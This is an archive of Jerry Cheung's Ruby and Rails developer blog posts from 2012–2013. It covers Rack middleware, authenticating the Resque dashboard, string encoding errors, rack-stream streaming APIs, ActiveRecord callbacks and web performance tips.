WhatCodeCraves

Protecting Resque::Server

Jerry Cheung — Fri, 17 May 2013 00:00:00 +0000

Resque ships with a Sinatra app that can be mounted within your application for inspecting the status of your workers and jobs. By default, there's no authentication built in. But thanks to the fact that Sinatra is rack-able, you can put a middleware in front of it for handling authentication. For example, to add HTTP Basic auth, you can use Rack's built-in Rack::Auth::Basic.

HTTP Basic authentication

protected_app = Rack::Auth::Basic.new(Resque::Server) do |username, password|
  password == 'some-secret'
end

# mount protected_app in Rails, or other rack application…

This kind of works, but I always forget the password and have to look it up. It also sucks for on boarding new developers since it's not very discoverable. An improved solution is to piggyback onto your existing authentication system. For one of our apps, we use Devise, which exposes the user object in the Rack env object. Roughly, our rescue authentication looks like:

Devise or other authentication library

# config/initializers/resque.rb
class AuthenticatedMiddleware
  def initialize(app)
    @app = app
  end

  def call(env)
    if env['warden'].authenticated? && env['warden'].user.staff?
      @app.call(env)
    else
      [403, {'Content-Type' => 'text/plain'}, ['Authenticate first']]
    end
  end
end

Resque::Server.use(AuthenticatedMiddleware)

# config/routes.rb
mount Resque::Server, :at => '/resque'

If the main application is a Rails app, you can also use routing constraints to limit access. The benefit here is the Rail request and session object are available. For example, in another internal-only application, we only check that the session includes a user id:

Rails route contraints

# config/routes.rb
class SessionAuthenticatedConstraint
  def self.matches?(request)
    !request.session[:user_id].blank?
  end
end

constraints(SessionAuthenticatedConstraint) do
  mount Resque::Server, :at => '/resque'
end

Overall, I prefer the last approach because it's easy to understand, easy to test, idiomatic of Rails conventions, and short.

Shout outs to @kdaigle for code reviewing me and suggesting the last approach, and @jonmagic for reviewing this post.

Interview your libraries

Jerry Cheung — Thu, 9 May 2013 00:00:00 +0000

I love working with John Barnette, even if we don't work on the same stuff regularly. The other day, he wrote this in a discussion:

Every time we bring in an external library, we inherit its opinions, shortcomings, idioms, and taste. This isn't a reason to rewrite everything ourselves, but it's good for us to interview libraries like we interview new GitHubbers.

I loved this. In two short sentences, Barnette summed up why we should evaluate new dependencies before adding them to an existing project.

Why not drop in a library?

It's tempting to add a library that promises to do 90% of your goal. But that instant gratification often comes with delayed hidden costs. Things I've been bitten by in the past include:

Security. It's hard, and no one gets it right the first time.
Performance. Sure it works in the simple case, but does it scale?
Complexity. It's not worth importing a kitchen sink if you're only planning to use one small method.
Lack of benefit. Some libraries just don't buy you very much. Syntactic sugar is nice if it wraps an ugly interface, but if it doesn't, it means keeping two interfaces in you head while you work.
Organizational cost. Does your team know how to use it? If not, is it worth it for them to pick it up? It's better to choose something plainer, simpler, and more explicit if it means the rest of your team can easily understand and work with it.

What about frameworks and ORMs?

I've worked with Rails for a long time now, and I have a good sense of where to poke around if I have questions. But let's be honest, with 183 commits made by 63 authors in the last week alone, I'll never know Rails inside and out.

Rails is large and complex. Yet, I'm happy to use it daily in my project. Why? Because I trust the project and community to stick around. It'd be a pain to rewrite what Rails buys you. Plus, the documentation is great, there are timely security patches, and my team knows how to use it.

Go with your gut

None of the hidden costs I listed above are hard rules for rejecting a library. But the next time you think about adding a library to your codebase, grill it with some hard questions and see if it's worth adding.

Ruby Incompatible Encoding Errors

Jerry Cheung — Tue, 5 Mar 2013 00:00:00 +0000

String encodings is like air. Completely necessary and never on your mind until something goes wrong. Encoding bugs are painful and often feel like the black arts. Follow the jump for an aggregation of past experiences for solving these tricky problems.

Background

The first time you think of encodings in Ruby is probably the first time you see an exception along the lines of:

incompatible character encodings: ASCII-8BIT and UTF-8

Before you pull out your hair, I recommend reading James Edward Grey II's in depth coverage on why and what encodings are. Markus Prinz's Working with Encodings in Ruby 1.9 is also a good read. Go ahead, this article will wait.

The core cause of the above error is when your code tries to mash two strings with different encodings together. For example, trying to glue a UTF-8 Chinese string to an ASCII-8BIT English string. They're hard to hunt down because the error is generated in C code and doesn't descend from the Exception class. This means you can't rescue the error to inspect it. Your best tool for finding the origin of the error is to learn about the Encoding module. Once you're familiar with that API, it's easy to inspect the encoding to check it's what you expected.

"some string".encoding
"some string".force_encoding('UTF-8')

Rails

Rails defaults to UTF-8 for encoding. You can change it via application.rb with:

config.encoding = 'UTF-8'

Yehuda Katz has a good write up describing the problem. The long term solution is to have libraries that deal with external strings to respect Encoding.default_internal

Databases

To make sure your database uses the correct encoding, set your connection adapter to the correct encoding:

# config/database.yml
development:
  encoding: unicode

Views

When template views are read in from the filesystem, it respects the global ruby default for encoding. This can be overridden by a special shebang-like declaration at the top of the file:

# encoding: utf-8

Check out ActionView::Template#encode! for more details.

If you're seeing an incompatible encoding error in a view, it's possible that it's caused by rendering a value from an external gem or string. Remember that the render method returns a string. A quick way to inspect that your partials are in the correct encoding is to save the result of a partial into a variable and print it's encoding:

<% output = render(:partial => 'some/partial') %>
<%= output.encoding %>

Heroku

Don't forget to set your environment variable to the correct default encoding.

$ heroku config:add LANG=en_US.UTF-8

Ruby on Rack

Jerry Cheung — Mon, 23 Jul 2012 00:00:00 +0000

Rack is a simple and flexible library for building Ruby web applications and web frameworks. It powers frameworks like Rails and Sinatra, and can be used to build custom reusable components called Rack middleware. If you develop web apps with Ruby, you're likely using Rack even if you're unaware of it. While it's typically used to build low-level abstractions close to HTTP, knowing how to use it leads to more modular designs and allows you to leverage a large list of existing Rack components. In this post, I introduce what Rack is step by step, and point towards some useful applications in the wild.

Rack was released in 2007 by Christian Neukirchen. The project README starts with:

Rack provides a minimal, modular and adaptable interface for developing web applications in Ruby. By wrapping HTTP requests and responses in the simplest way possible, it unifies and distills the API for web servers, web frameworks, and software in between (the so-called middleware) into a single method call.

Confused? Don't worry, we'll go over each part individually.

By wrapping HTTP requests and responses in the simplest way possible...

Stepping back from Ruby, what is the 'simplest way' to think about an HTTP request and response? Without knowing the language or framework an application is using, the perspective from a webapp looks like:

HTTP Request -> Webapp -> HTTP Response

An HTTP request has a method like GET or POST, a server host and port, some uri resource path, and optionally a query string.

GET /posts?page=2     # method, resource uri, query string
Accept: 'text/html'   # one or more HTTP headers...
Cookie: 'foo=bar'
X-Custom: 'value'

The web application's job is to takes this information and generate a HTTP response like:

200 OK
Content-Type: 'text/html'
Content-Length: 75
<html>
  <body>Hello!</body>
</html>

Without knowing how the response was generated, the parts of an HTTP response are the same independent of language and framework. The 200 status code indicates a successful response. Additionally, HTTP header fields describe what the response is.

Rack wraps the request and response information into one large hash called the environment hash. Rack passes this env hash to your application and expects a return value with 3 parts:

status - an HTTP status code
headers - a hash of response headers. e.g. Content-Type, Content-Length
bodies - an array-like object that responds to #each and yields strings of response content

[rack] unifies and distills the API for web servers, web frameworks ... into a single method call

The only entry point that a Rack component must implement is a method named #call that takes the env hash as its only argument. For example, the following is a valid Rack application:

class MyApp
  def call(env)
    # env has request/response information
    puts env['PATH_INFO']
    puts env['HTTP_ACCEPT']

    # return status, headers, and response bodies.
    # note that multiple response bodies will be concatenated.
    [200, {'Content-Type' => 'text/html'}, ['Hello!']]
  end
end

As an application developer, you can think in terms of the env hash instead of parsing out all the HTTP values manually. The response MyApp generates is returned in the last line as an array, and has the status code, headers, and list of response bodies.

Rack also provides an object-oriented interface to access request information and building responses. MyApp can also be written as:

class MyApp
  def call(env)
    request  = Rack::Request.new(env)
    request.get?     # is the request a GET request?
    request.params   # query parameters
    request.cookies  # yummy

    # do stuff with `request`...

    response = Rack::Response.new
    response['Content-Type'] = 'text/html'
    response.write 'Hello!'

    response.finish  # converts object into rack expected response
  end
end

We say something is rackable when it responds to a method #call that takes one argument (the env hash), and returns a rack compatible response. For really simple Rack components, a common shortcut is to use a lambda to define an anonymous endpoint. Because lambdas and procs respond to #call, it fits the Rack requirement.

lambda {|env|
  [200, {'Content-Type' => 'text/plain'}, ['This is a valid rack app']]
}

See the documentation for Rack::Request and Rack::Response for details. The Rack specification has a full listing of what's available in the environment hash.

Now that we've seen what Rack is, let's explore the benefits from implementing this contract.

Application Server Independence

An application server is a library responsible for handling the plumbing of HTTP. It takes care of things like binding to a port, listening for connections, parsing headers, and constructing responses. Sometimes they are a collection of tools each responsible for one part of serving a HTTP request, other times, they may be one monolithic tool that handles all parts of the HTTP lifecycle. Each app server has different features, allowing you to choose one that's right for your needs.

Rack makes it easy to switch between app servers without touching your application code. For example, to serve our sample application with the builtin Ruby HTTP server WEBrick:

require 'rack'

class MyApp
  def call(env)
    [200, {'Content-Type' => 'text/html'}, ['hello']]
  end
end

Rack::Handler::WEBrick.run(MyApp.new, {:Port => 3000})

If you wanted to use a different app server, for example Thin, then you can change the last line to:

Rack::Handler::Thin.run(MyApp.new, {:Port => 3000})

Both of the above files can be directly run from the command line. See the Rack::Handler documentation for details.

Middleware Architecture

Rack middleware is a Rack component that manipulates the environment hash before invoking another Rack component's #call method. Middleware can be used to modify a request before an application sees it, or modify a response generated by an application. This is useful for building shared filters that are independent of the underlying application. For example, to filter the word 'truck' from all response bodies:

class ProfanityFilter
  # Middleware need to accept a downstream Rack component
  def initialize(app)
    @app = app
  end

  def call(env)
    # call underlying application, returning the standard rack response
    # @app is always initialized as the `next` rack component to call
    status, headers, bodies = @app.call(env)

    # modify response bodies in place
    bodies.map! {|body| body.gsub! /truck/, ''}

    # return a valid rack response
    [status, headers, bodies]
  end
end

This middleware is an example of a middleware that modifies the response generated by a downstream application. Like other Rack components, it also uses #call as it's entry point. In addition to this, its first constructor argument has to be another Rack component. The convention is to save this argument in an instance variable called @app. Middleware can determine when it wants to call the downstream app, and what to do with the app's response.

By having this stackable chain of middleware components feeding into each other and manipulating each others' inputs and responses, it makes it possible to compose application behavior in separate reusable components rather than a single fat blob of code.

Composing Middleware

Rack comes builtin with a utility object for composing middlewares and applications together called Rack::Builder. For example the following wraps the ProfanityFilter middleware around the MyApp application:

app = Rack::Builder.new do
  use ProfanityFilter
  run MyApp
end

Rack::Handler::WEBrick.run(MyApp.new, {:Port => 3000})

To further remove boilerplate code, Rack comes with a convenience executable called rackup that allows you to swap out servers without any code. When run without arguments, rackup looks for a file named config.ru to configure a Rack::Builder instance:

# sample 'config.ru' evaluated within a Rack::Builder instance
use ProfanityFilter
run MyApp

Then to run the application from the commandline:

> rackup config.ru
> rackup -s thin -p 4000  # use thin as a server and run on port 4000

Any additional arguments passed to use will be passed to the contructor of the middleware. Remember that the first argument of a middleware is always the downstream Rack component:

# extra arguments are passed into the middleware constructor
use Rack::Session::Cookie, :key => 'rack.session'

Adding Functionality via Middleware

Multiple Rack components can manipulate the environment hash serially without knowing what other rack components are being used. Each component run after the last, and its own response is passed back to the component above it. Sometimes a middleware will inject additional functionality into the environment hash for downstream components to use. One example is Rack::Session::Cookie, a middleware that adds a env['rack.session'] object for downstream apps to use.

use Rack::Session::Cookie

run lambda {|env|
  # Rather than manipulating cookies ourselves, the upstream middleware gave
  # us a helper object to set and read cookies

  puts env['rack.session']  # read what's in our session
  env['rack.session']['some_key'] = 'some_value'  # written to cookie for us
}

Because the environment hash is a plain old Ruby hash, you can decorate it with any functionality you want. Typically the convention is to use string keys and to namespace the key by the project name. For example, OmniAuth is a Rack library that allows applications to plugin different authentication providers. When authentication completes, the relevant auth information is given in an env['omniauth.auth'] hash. The values don't have to be Ruby primitive objects either. In Rack::Stream, a library for building streaming Ruby webapps, env['stream.app'] is a Rack::Stream::App instance that has callable methods and features that can be used downstream. The contract of what's made available downstream is up to individual libraries, but the separate between each layer helps keep the components separate and well factored.

Rails on Rack

Rails is one of the best examples of a complex chain of middleware in action. In fact, if you generate a bare Rails app, and run rake middleware, you'll see:

> rake middleware

use ActionDispatch::Static
use Rack::Lock
use #<ActiveSupport::Cache::Strategy::LocalCache::Middleware:0x007f8424bd1a50>
use Rack::Runtime
use Rack::MethodOverride
use ActionDispatch::RequestId
use Rails::Rack::Logger
use ActionDispatch::ShowExceptions
use ActionDispatch::DebugExceptions
use ActionDispatch::RemoteIp
use ActionDispatch::Reloader
use ActionDispatch::Callbacks
use ActiveRecord::ConnectionAdapters::ConnectionManagement
use ActiveRecord::QueryCache
use ActionDispatch::Cookies
use ActionDispatch::Session::CookieStore
use ActionDispatch::Flash
use ActionDispatch::ParamsParser
use ActionDispatch::Head
use Rack::ConditionalGet
use Rack::ETag
use ActionDispatch::BestStandardsSupport
run MyApp::Application.routes

Each item in this list processes an incoming environment hash and calls the Rack component under it in turn. What do all these entries have in common? They all respond to #call, and they all follow the Rack specification.

The final entry, MyApp::Application.routes, is the routes defined by config/routes.rb and is an ActionDispatch::Routing::RouteSet object that maps path info to controller actions. Each Rails controller action is a Rack endpoint in itself. You can verify this by running the following in a rails console:

# assuming a controller named `MyController` with an `index` action:
> rails console
> MyController.action(:show)
#<Proc:0x007ff1ed33bfd0@/Users/jch/.rvm/gems/ruby-1.9.3-p194/gems/actionpack-3.2.6/lib/action_controller/metal.rb:245>

You can see that fetching an action by name returns a Proc object, which responds to #call.

For additional Rails specific tips and information on Rack, check out the Rails guide Rails on Rack.

Interesting Rack Projects

Rack::Test - test rack middleware and apps. Used by other test frameworks.
Rack::Cache - one of my favorites. Teaches you how HTTP caching works, and a very useful middleware. Also checkout activesupport-cascadestore.
Rack::Cors - cross origin resource sharing. Lets you do cross-domain ajax
Rack::Profile - use ruby's profiler to see what's slow
rack-contrib - whole bunch of useful middlewares
Rack::Recaptcha
Rack::Rewrite - rewrite incoming urls
Ruby Toolbox Rack Projects

Resources

Introducing Rack - rack's author Christian Neukirchen explains the rationale behind writing rack.
Railscasts has a Rack Middleware screencast.
Rails on Rack

Blog Reboot, Lessons Learned

Jerry Cheung — Thu, 5 Jul 2012 00:00:00 +0000

It's been four years since I initially started this blog. I had no expectations or goals for what this blog would be. But now as I read some of my earlier posts, I find it very humbling to see how I've grown as a developer, and as a person. I want to highlight a few old posts that jumped out at me when I read them.

Flaco Blog

In the earliest days of this blog, I think I was more interested in writing a blogging system than actually blogging. The original code that generated this site were a kludgey set of Perl scripts that stitched together markdown content into HTML. It's fun to read my rationale behind building a blog engine, but in reality, it was a mistake to build something from scratch rather than to extend an existing system. Now I'm stuck with it, but at least the latest version is a lot tidier and more maintainable than my earlier attempts.

Premature Software Testing

I laughed at how stupid most of my earlier posts sound, but this post on premature testing stood out as one of the few posts that still feel relevant today. In the same vein of overtesting, I also really enjoyed DHH's post Testing like the TSA.

Fresh Starts

I've enjoyed and learned a lot at each place I've worked at. I still keep in touch with ex-coworkers, and have met some of my closest friends through work. While I don't have blog posts going all the way back, it was fun to read posts for when I started at a new workplace.

Going Forward

While my technical skills have improved since those early posts, I still have much to learn. I'm happy that I'm just as excited to design and program today as I was when I first started. If anything, the past projects and problems I've tackled have opened up a whole new realm of challenges for me to take on. I'm excited to see where I'll go next - both as a developer, and as an individual.

And You Thought Render Farms Were Just For Pixar!

Jerry Cheung — Thu, 14 Jun 2012 00:00:00 +0000

Rails views are typically rendered after some controller action is executed. But the code that powers Rails controllers is flexible and extensible enough to create custom rendering objects that can reuse views and helpers, but live outside of web request processing. In this post, I'll cover what a Rails controller is and what it's composed of. I'll also go over how to extend it to create your own custom renderers, and show an example of how you can render views in your background jobs and push the results to your frontend.

What's a Controller?

A Rails controller is a subclass of ActionController::Base. The documentation says:

Action Controllers are the core of a web request in Rails. They are made up of one or more actions that are executed on request and then either render a template or redirect to another action. An action is defined as a public method on the controller, which will automatically be made accessible to the web-server through Rails Routes.

While Base suggests that this is a root class, it actually inherits from ActionController::Metal and AbstractController::Base. Also, some of the core features such as rendering and redirection are actually mixins. Visually, this class hierarchy looks something like:

ActionController::Metal is a stripped down version of what we know as controllers. It's a rackable object that understands HTTP. By default though, it doesn't have know anything about rendering, redirection, or route paths.

AbstractController::Base is one layer above Metal. This class dispatches calls to known actions and knows about a generic response body. An AbstractController::Base doesn't assume it's being used in an HTTP request context. In fact, if we peek at the source code for actionmailer, we'll see that it's a subclass of AbstractController::Base, but used in the context of generating emails rather than processing HTTP requests.

module ActionMailer
  class Base < AbstractController::Base
    include AbstractController::Logger
    include AbstractController::Rendering  # <- ActionController::Base also uses
    include AbstractController::Layouts    # <- these mixins, but for generating
    include AbstractController::Helpers    # <- HTTP response bodies, instead of email response bodies
    include AbstractController::Translation
    include AbstractController::AssetPaths
  end
end

Custom Controller for Background Job Rendering

For a recent project, I needed to execute flight searches in background jobs against an external API. Initially, I planned to push the search results as a json object and render everything client-side, but I wanted to reuse existing Rails views, helpers, and route path helpers without redefining them in the frontend. Also, because of differing client performance, rendering server-side improves page load times for users in this instance. Architecturally, what I wanted looks like:

The requirements for this custom controller were:

access to route helpers
renders templates and partials in app/views

Unlike a full blown ActionController, this custom controller doesn't need to understand HTTP. All it needs is the result of the flight search from background workers to be able to render an html response.

The full code for the custom controller is:

class SearchRenderer < AbstractController::Base
  include Rails.application.routes.url_helpers  # rails route helpers
  include Rails.application.helpers             # rails helpers under app/helpers

  # Add rendering mixins
  include AbstractController::Rendering
  include AbstractController::Logger

  # Setup templates and partials search path
  append_view_path "#{Rails.root}/app/views"

  # Instance variables are available in the views,
  # so we save the variables we want to access in the views
  def initialize(search_results)
    @search_results = search_results
  end

  # running this action will render 'app/views/search_renderer/foo.html.erb'
  # with @search_results, and route helpers available in the views.
  def execute
    render :action => 'foo'
  end
end

A runnable example of this source code is available at this github repository.

Breaking down the above code, the first thing we do is inherit from AbstractController::Base:

class SearchRenderer < AbstractController::Base
  def initialize(search_results)
    @search_results = search_results
  end
end

We also save the search results in an instance variable so that our templates can access them later.

  include Rails.application.routes.url_helpers  # rails route helpers
  include Rails.application.helpers             # rails helpers under app/helpers

These methods return Rails route helpers like resource_path and resource_url, and also any helpers defined in app/helpers.

Next we add the mixins we need to be able to call the #render controller method. Calling #append_view_path sets up the view lookup path to be the same as our Rails controller views lookup path.

  include AbstractController::Rendering
  include AbstractController::Logger

  append_view_path "#{Rails.root}/app/views"

Then we define a controller action named execute that'll render out the response as a string. The #render method used here is very similar to the one used by ActionController.

  def execute
    render :action => 'foo'
  end

To use this renderer object, you need to initialize it with a search results object, and call #execute:

search_results = [{:foo => "bar"}, {:foo => "baz"}]
renderer = SearchRenderer.new(search_results)
renderer.execute

Summary

Rails ActionControllers are specific to HTTP, but its abstract parent class can be used to construct objects for generic controller objects for coordinating actions outside of an HTTP context. Custom controller objects can be composed with the available mixins to add common functionality such as rendering. These custom controllers can also share code with existing Rails applications DRY up templates and helpers.

Building Streaming REST APIs with Ruby

Jerry Cheung — Thu, 24 May 2012 00:00:00 +0000

Twitter popularized the term "firehose API", to mean a realtime stream of data sent through a persistent connection. But even if you're not a realtime service, streaming APIs are great for pushing data from the backend to clients. They reduce resource usage because the server can decide when it's a good time to send a incremental chunk of data. They can also improve the responsiveness of your user experience. The same HTTP API can be reused to power multiple different apps. For example, you could write your web frontend with a Javascript frameworks like Backbone.js, but reuse the same API to power a native iOS application. Follow the jump to read about how streaming APIs work, and how you can write one with Rack::Stream.

TL;DR

Rack::Stream is rack middleware that lets you write streaming API endpoints that understand HTTP, WebSockets, and EventSource. It comes with a DSL and can be used alongside other rackable web frameworks such as Sinatra and Grape.

What's Streaming HTTP?

Normally, when an HTTP request is made, the server closes the connection when it's done processing the request. For streaming HTTP, also known as Comet), the main difference is that the server doesn't close the connection and can continue sending data to the client at a later time.

To prevent the connection from closing, rack-stream uses Thin's 'async.callback' to defer closing the connection until either the server decides to close the connection, or the client disconnects.

Rack::Stream

Rack::Stream is rack middleware that lets you write streaming HTTP endpoints that can understand multiple protocols. Multiple protocols means that you can write an API endpoint that works with curl, but that same endpoint would also works with WebSockets in the browser. The simplest streaming API you can make is:

# config.ru
# run with `thin start -p 9292`
require 'rack-stream'

class App
  def call(env)
    [200, {'Content-Type' => 'text/plain'}, ["Hello", " ", "World"]]
  end
end

use Rack::Stream
run App

If you ran this basic rack app, you could then use curl to stream it's response:

> curl -i -N http://localhost:9292/

HTTP/1.1 200 OK
Content-Type: text/plain
Transfer-Encoding: chunked
Connection: close
Server: thin 1.3.1 codename Triple Espresso

Hello World

This isn't very exciting, but you'll notice that the Transfer-Encoding for the response is set to chunked. By default, rack-stream will take any downstream application's response bodies and stream them over in chunks. You can read more about chunked transfer encoding on Wikipedia.

Let's spice it up a bit and build an actual firehose. This next application will keep sending data to the client until the client disconnects:

require 'rack-stream'

class Firehose
  include Rack::Stream::DSL

  def call(env)
    EM.add_periodic_timer(0.1) {
      chunk "\nChunky Monkey"
    }
    [200, {'Content-Type' => 'text/plain'}, ['Hello']]
  end
end

use Rack::Stream
run Firehose

The first thing to notice is the Firehose rack endpoint includes Rack::Stream::DSL. This are convenience methods that allow you to access env['rack.stream'], which is injected into env whenever you use Rack::Stream. When a request comes in, the #call method schedules a timer that runs every 0.1 seconds and uses the #chunk method to stream data. If you run curl, you would see:

> curl -i -N http://localhost:9292/

HTTP/1.1 200 OK
Transfer-Encoding: chunked
Connection: close
Server: thin 1.3.1 codename Triple Espresso

Hello
Chunky Monkey
Chunky Monkey
Chunky Monkey
# ... more monkeys

rack-stream also allows you to register callbacks for manipulating response chunks, and controlling when something is sent with different callbacks. Here's a more advanced example with callbacks added:

require 'rack-stream'

class Firehose
  include Rack::Stream::DSL

  def call(env)
    after_open do
      chunk "\nChunky Monkey"
      close  # start closing the connection
    end

    before_chunk do |chunks|
      chunks.map(&:upcase)  # manipulate chunks
    end

    before_close do
      chunk "\nGoodbye!"  # send something before we close
    end

    [200, {'Content-Type' => 'text/plain'}, ['Hello']]
  end
end

use Rack::Stream
run Firehose

If you ran curl now, you would see:

> curl -i -N http://localhost:9292/

HTTP/1.1 200 OK
Transfer-Encoding: chunked
Connection: close
Server: thin 1.3.1 codename Triple Espresso

HELLO
CHUNKY MONKEY
GOODBYE!

For details about the callbacks, see the project page.

Up until this point, I've only used curl to demonstrate hitting the rack endpoint, but one of the big benefits of rack-stream is that it'll automatically recognize WebSocket and EventSource requests and stream through those as well. For example, you could write an html file that accesses that same endpoint:

<html>
<body>
  <script type='text/javascript'>
    var socket       = new WebSocket('ws://localhost:9292/');
    socket.onopen    = function()  {alert("socket opened")};
    socket.onmessage = function(m) {alert(m.data)};
    socket.onclose   = function()  {alert("socket closed")};
  </script>
</body>
</html>

Whether you access the endpoint with curl, ajax, or WebSockets, your backend API logic doesn't have to change.

For the last example, I'll show a basic chat application using Grape and Rails. The full runnable source is included in the examples/rails directory.

require 'grape'
require 'rack/stream'
require 'redis'
require 'redis/connection/synchrony'

class API < Grape::API
  default_format :txt

  helpers do
    include Rack::Stream::DSL

    def redis
      @redis ||= Redis.new
    end

    def build_message(text)
      redis.rpush 'messages', text
      redis.ltrim 'messages', 0, 50
      redis.publish 'messages', text
      text
    end
  end

  resources :messages do
    get do
      after_open do
        # subscribe after_open b/c this runs until the connection is closed
        redis.subscribe 'messages' do |on|
          on.message do |channel, msg|
            chunk msg
          end
        end
      end

      status 200
      header 'Content-Type', 'application/json'
      chunk *redis.lrange('messages', 0, 50)
      ""
    end

    post do
      status 201
      build_message(params[:text])
    end
  end
end

This example uses redis pubsub to push out messages that are created from #post. Thanks to em-synchrony, requests are not blocked when no messages are being sent. It's important do the redis subscribe after the connection has been opened. Otherwise, the initial response won't be sent.

What about socket.io?

socket.io is great because it provides many transport fallbacks to give maximum compatibility with many different browsers, but its pubsub interface is too low level for capturing common app semantics. The application developer doesn't have nice REST features like HTTP verbs, resource URIs, parameter and response encoding, and request headers.

The goal of rack-stream is to provide clean REST-like semantics when you're developing, but allow you to swap out different transport protocols. Currently, it supports normal HTTP, WebSockets, and EventSource. But the goal is to support more protocols over time and allow custom protocols. This architecture allows socket.io to become another protocol handler that can be plugged into rack-stream. If you wanted to use Pusher as a protocol, that could also be written as a handler for rack-stream.

Summary

rack-stream aims to be a thin abstraction that lets Ruby developers write streaming APIs with their preferred frameworks. I plan to broaden support and test against common use cases and popular frameworks like Sinatra and Rails. If you have any questions or comments, feel free to submit an issue or leave a comment below!

Define Custom Callbacks for ActiveRecord and More

Jerry Cheung — Thu, 22 Mar 2012 00:00:00 +0000

Rails ActiveRecord models have a lifecycle that developers are allowed to hook into. But while most of us know about before_save and after_update, there are a few lesser unknown callbacks that are good to know about before you reinvent them. In this post, I'll cover all of the available ActiveRecord lifecycle callbacks, and also show how you can define custom callbacks for normal ruby objects.

Meet the Callbacks

The Rails guide for ActiveRecord Validations and Callbacks is a good starting point for an introduction of the available callbacks and what they do. Most developers will be familiar with the validation and persistence callbacks, so let's start with these

:before_validation, :after_validation
:before_save, :after_save
:before_create, :after_create
:before_update, :after_update
:before_destroy, :after_destroy

The callbacks above are self explanatory and commonly used, but if you're unfamiliar with them, or need a refresher, check out the Rails guide on the topic.

Around Callbacks

For save, create, update, and destroy, Rails also gives extra helper methods for defining both a before and after save callback at the same time.

For example, suppose you wanted to trigger your own custom callback while a model was being destroyed. You can do so by defining and triggering your own callback as follows:

class SomeModel < ActiveRecord::Base
  define_callbacks :custom_callback

  around_destroy :around_callback

  def around_callback
    run_callbacks :custom_callback do
      yield  # runs the actual destroy here
    end
  end
end

Custom Callbacks without ActiveRecord

Most of the time, your Rails models will be using ActiveModel, but sometimes it makes sense to use a plain old ruby object. Wouldn't it be nice if we could define callbacks in the same way? Fortunately, the callback system is neatly abstracted into ActiveSupport::Callbacks so it's easy to mix into any ruby class.

# Look Ma, I'm just a normal ruby class!
class Group
  include ActiveSupport::Callbacks
  define_callbacks :user_added

  def initialize(opts = {})
    @users = []
  end

  # Whenever we add a new user to our array, we wrap the code
  # with `run_callbacks`. This will run any defined callbacks
  # in order.
  def add_user(u)
    run_callbacks :user_added do
      @users << u
    end
  end
end

For a fully documented and runnable example, check out this github project. It'll also give some extra explanation about call order and inheritance.

Other Useful Callbacks

:after_initialize is called right after an object has been unmarshalled from the database. This allows you to do any other custom initialization you want. Instead of defining an initialize method on a model, use this instead.
:after_find hasn't been useful in my experience. I haven't run into a case where I wanted to manipulate documents after a find action. It could potentially be useful for metrics and profiling.
:after_touch. ActiveRecord allows you to touch a record or its association to refresh its updated_at attribute. I've found this callback useful to triggering notifications to users after a model has been marked as updated, but not actually changed.
:after_commit is an interesting and tricky callback. Whenever ActiveRecord wants to make a change to a record (create, update, destroy), it wraps it around a transaction. after_commit is called after you're positive that something has been written out to the database. Because it is also called for destroys, it makes sense to scope the callback if you intend to use it only for saves. Be warned that after_commit can be tricky to use if you're using nested transactions. That'll probably be the topic of another post though.

# call for creates, updates, and deletes
after_commit :all_callback

# call for creates and updates
after_commit :my_callback, :if => :persisted?

:after_rollback is the complement to after_commit. I haven't used it yet, but I can see it as being useful for doing manual cleanup after a failed transaction.

Go Forth and Callback!

While many of our models will be backed with ActiveRecord, or some ActiveModel compatitible datastore, it's nice to see how easy it is to follow a similar pattern in normal ruby without having to depend on Rails.

Real Web Performance for Users, not Robots

Jerry Cheung — Mon, 12 Mar 2012 00:00:00 +0000

Republished from Opperator blog

If I told you that a page took 130 requests to load 170 KB of data? Would you call that a slow page?

This is a trick question, and the numbers I gave are a double red herring. A page is slow when it feels slow to a user. Without having opened up the page for yourself in a browser, you can't have a real answer.

But if your gut reaction was "yeah, that's damn slow", I wouldn't blame ya. It sounds like a ton of requests for the amount of data being transferred. To disprove that the page is slow, here's a screenshot of the requests in Chrome:

The page is question is the index page to my Facebook profile. Notice how almost all of the requests are being sent in parallel, and most of them finishing concurrently before the actual page skeleton has finished receiving the data.

As web developers, we've internalized two guidelines:

minimize the number of requests
reduce the size of the response

By themselves, these are good guidelines for web throughput performance. Where we go wrong is when these guidelines are applied without considering how the user will perceive the page load. There are times where it makes sense to have more requests rather than fewer in order to reduce page load times. What we should prioritize is page latency rather than page throughput. Facebook wrote a great blog post on this subject. They decomposed a large monolithic page into a bunch of independent 'pagelets' which can be generated, fetched, and rendered independently of one another.

With Opperator, we recognize speed as a feature. And by designing our architecture to be a set of loosely coupled services from day one, it was natural and easy to make our pages feel fast. On top of the advice listed by Facebook, here are some tips and notes about how we keep our pages speedy.

Serve What You Need

Don't serve a giant JSON object of all a resource with all of it's associations. Instead, serve only what you need, when you need it. For example, in our models, a Project has many Services. But when you make a request for a Project, the JSON response only includes a list of Service id's rather than the full JSON for the Project. Of course, sometimes it makes sense to pre-fetch associated objects, but this shouldn't be the default case.

Serve and Render Visible Things First

As users, we don't feel page throughput, we feel page latency. It's ok for your page to take slightly longer time to load, as long as everything the user cares about can be seen as quickly and as smoothly as possible. The priority we choose to serve our content is:

CSS goes first to make sure the rendering of the page feels smooth and natural. We don't want any flashes of unstyled elements.

HTML page skeleton is loaded next to give overall structure and flat content to the site. Flat content anything that isn't session dependent or javascript dependent. Having this structure static will also help your SEO rankings because no dynamic content rendering needs to happen server side. This topic deserves it's own separate blog post.

Javascript is compressed loaded with require.js asynchronously with web modules. Javascript builds all the interactive elements on the page.

Images are sprited and loaded as late as possible, with the exception of anything that makes the page reflow and jerk.

Render Client-Side

Our business logic lives within a Grape API. The initial page load is a static HTML skeleton that is then bound to Javascript event handlers which will populate the content from the API backend. We use Ember.js (aka Sproutcore 2.0) to control and render all the frontend interaction.

Skip Duplicate Work

Set your HTTP cache headers properly. If nothing has changed, then your backend doesn't have to regenerate a full response. Better yet, if something can safely be cached for longer, then your backend might not be hit at all.

CDN Your Static Assets

Think of a CDN as a proxy layer in front of your app. By offloading your static assets into the CDN, your app no longer has to worry about serving those static assets. Not only is it less work and bandwidth on your backend, it's also faster for your users since the CDN's edge servers will be physically closer to your users. Two low-cost CDN providers worth checking out are:

Cloudflare is a relative newcomer to the arena. They range from free to $20/mo for your first site. That's hard to beat.

If you store your static assets in S3, then Amazon Cloudfront is worth a look. It allows you to configure serving S3 assets through their CDN. Pricing is based on usage.

Defining "Fast Enough"

Our website is actually deployed to a different server than our API. Technically, we could get a performance boost if they lived on the same box to cut down on network latency. But we decided to tradeoff network latency for clean separation of systems. There's always room down the line for further optimization, so "fast enough" for today is good enough for us.

What speed optimizations do you use on your site? Sound off in the comments

Faraday: One HTTP Client to Rule Them All
